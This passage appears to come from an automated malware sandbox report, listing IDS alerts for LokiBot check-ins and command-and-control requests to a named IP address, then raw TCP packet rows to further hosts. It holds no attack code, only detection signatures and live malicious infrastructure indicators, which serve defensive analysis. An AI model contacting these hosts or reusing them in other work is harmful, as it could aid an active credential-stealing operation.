2024-10-30T07:54:59.011834+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:54:59.011834+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-30T07:54:59.017604+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49239	TCP
2024-10-30T07:54:59.161756+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:54:59.161756+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:54:59.161756+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:00.108961+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:00.108961+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-30T07:55:00.114566+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49240	TCP
2024-10-30T07:55:00.387616+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:00.387616+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:00.387616+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:01.334747+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:01.334747+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-30T07:55:01.340390+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49241	TCP
2024-10-30T07:55:01.484369+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:01.484369+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:01.484369+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:02.464960+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:02.464960+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-30T07:55:02.470656+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49242	TCP
2024-10-30T07:55:02.605268+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:02.605268+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:02.605268+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:03.569426+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:03.569426+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-30T07:55:03.575276+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49243	TCP
2024-10-30T07:55:03.720869+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:03.720869+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:03.720869+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:04.850062+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:04.850062+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-30T07:55:04.856206+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49244	TCP
2024-10-30T07:55:05.005930+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:05.005930+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:05.005930+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:05.940070+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:05.940070+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-30T07:55:05.946228+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49245	TCP
2024-10-30T07:55:06.090491+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:06.090491+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:06.090491+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:07.713114+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:07.713114+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-30T07:55:07.713172+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49246	TCP
2024-10-30T07:55:07.898649+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:07.898649+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:07.898649+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:09.811243+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:09.811243+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-30T07:55:09.811348+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49247	TCP
2024-10-30T07:55:10.868307+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:10.868307+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:10.868307+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:12.419422+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:12.419422+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-30T07:55:12.419470+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49248	TCP
2024-10-30T07:55:12.567039+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:12.567039+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:12.567039+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:13.535615+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:13.535615+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-30T07:55:13.542407+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.220	80	192.168.2.22	49249	TCP
2024-10-30T07:55:13.703023+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-30T07:55:13.703023+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-30T07:55:13.703023+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49250	94.156.177.220	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 07:52:54.011584997 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:54.011636019 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:54.011691093 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:54.017654896 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:54.017673969 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:54.641822100 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:54.642026901 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:54.647067070 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:54.647075891 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:54.647440910 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:54.647556067 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:54.833904982 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:54.879334927 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:55.064814091 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:55.064924002 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:55.064939976 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:55.065026999 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:55.065030098 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:55.065140963 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:55.066205978 CET	49161	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:55.066225052 CET	443	49161	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:55.080679893 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.088287115 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.088396072 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.088424921 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.096422911 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756822109 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756839037 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756863117 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756875038 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756886005 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756906033 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756917000 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756927013 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756943941 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.756957054 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.757025957 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.757025957 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.757025957 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.757025957 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.757025957 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.757025957 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.757165909 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.762523890 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.762536049 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.762547016 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.762598991 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.762615919 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.874825954 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.874840975 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.874856949 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.874869108 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.874876022 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.874880075 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.874895096 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.874917984 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.874917984 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.874933004 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.874949932 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.875453949 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.875466108 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.875478029 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.875494957 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.875504971 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.875507116 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.875521898 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.875540018 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.876377106 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876386881 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876396894 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876425982 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.876444101 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.876758099 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876769066 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876779079 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876789093 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876800060 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.876805067 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.876817942 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.876837015 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.876847982 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.877667904 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.877679110 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.877690077 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.877701998 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.877726078 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.877742052 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.880306959 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.880347013 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.880362988 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.880387068 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.880461931 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.880506992 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.993618011 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993630886 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993647099 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993680000 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.993680954 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.993693113 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993706942 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993720055 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993731976 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993735075 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.993760109 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.993771076 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.993808985 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993820906 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993830919 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.993849993 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.993863106 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994129896 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994142056 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994152069 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994174957 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994190931 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994354963 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994366884 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994375944 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994404078 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994417906 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994427919 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994440079 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994462013 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994474888 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994724989 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994735956 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994746923 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994765997 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994776011 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994780064 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994788885 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994800091 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994811058 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994812965 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994823933 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994848013 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.994854927 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994864941 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.994889975 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995347023 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995364904 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995383978 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995407104 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995488882 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995501041 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995511055 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995522976 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995532036 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995551109 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995563984 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995599031 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995609999 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995620012 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995630980 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995640993 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995641947 CET	80	49162	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:55.995651960 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995671988 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:55.995682955 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:56.194665909 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:56.194715977 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:56.194782972 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:56.200752020 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:56.200788975 CET	49162	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:56.209434986 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:56.209470034 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:56.809603930 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:56.809885025 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:56.816144943 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:56.816165924 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:56.816479921 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:56.816549063 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:56.903597116 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:56.951332092 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:57.345191002 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:57.345316887 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:57.345352888 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:57.345402002 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:57.345707893 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:57.345767975 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:57.345777988 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:57.345818043 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:57.345861912 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:57.345911980 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:57.350969076 CET	49163	443	192.168.2.22	104.21.74.191
Oct 30, 2024 07:52:57.350992918 CET	443	49163	104.21.74.191	192.168.2.22
Oct 30, 2024 07:52:57.433520079 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:57.439018965 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:57.439117908 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:57.441675901 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:57.447060108 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109330893 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109355927 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109374046 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109386921 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109400034 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109395027 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.109412909 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109425068 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109437943 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109437943 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.109437943 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.109450102 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109451056 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.109461069 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.109477997 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.109489918 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.109508991 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.114882946 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.114937067 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.114957094 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.114996910 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.115036011 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.115078926 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.116384983 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.228234053 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228271008 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228283882 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228296041 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228322029 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.228322029 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.228415012 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228419065 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.228419065 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.228458881 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228461027 CET	49164	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:52:58.228471994 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228483915 CET	80	49164	198.46.178.151	192.168.2.22
Oct 30, 2024 07:52:58.228512049 CET	49164	80	192.168.2.22	198.46.178.151
